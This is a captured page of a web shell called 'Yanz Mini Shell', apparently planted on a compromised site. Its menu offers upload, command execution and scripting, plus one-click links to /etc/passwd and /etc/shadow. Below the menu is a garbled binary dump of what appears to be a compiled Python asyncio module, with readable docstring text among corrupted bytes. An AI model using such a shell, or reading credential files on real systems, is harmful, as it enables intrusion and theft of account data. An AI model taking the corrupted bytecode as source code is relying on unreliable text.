Yanz Mini Shell
[_]
[-]
[X]
[
HomeShell 1
] [
HomeShell 2
] [
Upload
] [
Command Shell
] [
Scripting
] [
About
]
[ Directory ] =>
/
home
firstmatrixcoin
public_html
ocean-arc.firstmatrix.co.in
bootstrap
css
Action
[*]
New File
[*]
New Folder
Sensitive File
[*]
/etc/passwd
[*]
/etc/shadow
[*]
/etc/resolv.conf
[
Delete
] [
Edit
] [
Rename
] [
Back
]
U %��_h � @ s� d Z dZddlZddlZddlmZ ddlmZ ddlmZ ddlm Z dd �ej ejg ejf ej e ejejejej e ejej e f d �dd�ZdS ) zFSupport for running coroutines in parallel with staggered start times.)�staggered_race� N� )�events)� exceptions)�locks)�tasks)�loop)�coro_fns�delayr �returnc � s� �p t �� �t| ��d�d�g �g �tjtj dd�� �������fdd�����d��}��|� z<d}|t ��kr�t���I dH \}}t |�}ql���fW �S �D ]}|� � q�X dS )a� Run coroutines with staggered start times and take the first to finish. This method takes an iterable of coroutine functions. The first one is started immediately. From then on, whenever the immediately preceding one fails (raises an exception), or when *delay* seconds has passed, the next coroutine is started. This continues until one of the coroutines complete successfully, in which case all others are cancelled, or until all coroutines fail. The coroutines provided should be well-behaved in the following way: * They should only ``return`` if completed successfully. * They should always raise an exception if they did not complete successfully. In particular, if they handle cancellation, they should probably reraise, like this:: try: # do work except asyncio.CancelledError: # undo partially completed work raise Args: coro_fns: an iterable of coroutine functions, i.e. callables that return a coroutine object when called. Use ``functools.partial`` or lambdas to pass arguments. delay: amount of time, in seconds, between starting coroutines. If ``None``, the coroutines will run sequentially. loop: the event loop to use. Returns: tuple *(winner_result, winner_index, exceptions)* where - *winner_result*: the result of the winning coroutine, or ``None`` if no coroutines won. - *winner_index*: the index of the winning coroutine in ``coro_fns``, or ``None`` if no coroutines won. If the winning coroutine may return None on success, *winner_index* can be used to definitively determine whether any coroutine won. - *exceptions*: list of exceptions returned by the coroutines. ``len(exceptions)`` is equal to the number of coroutines actually started, and the order is the same as in ``coro_fns``. The winning coroutine's entry is ``None``. N)�previous_failedr c � s | d k r6t �tj�� t�| �� � �I d H W 5 Q R X zt��\}}W n tk r\ Y d S X t � � }���|��}��|� ��d � z|� I d H }W nJ t tfk r� � Y n\ tk r� } z|�|<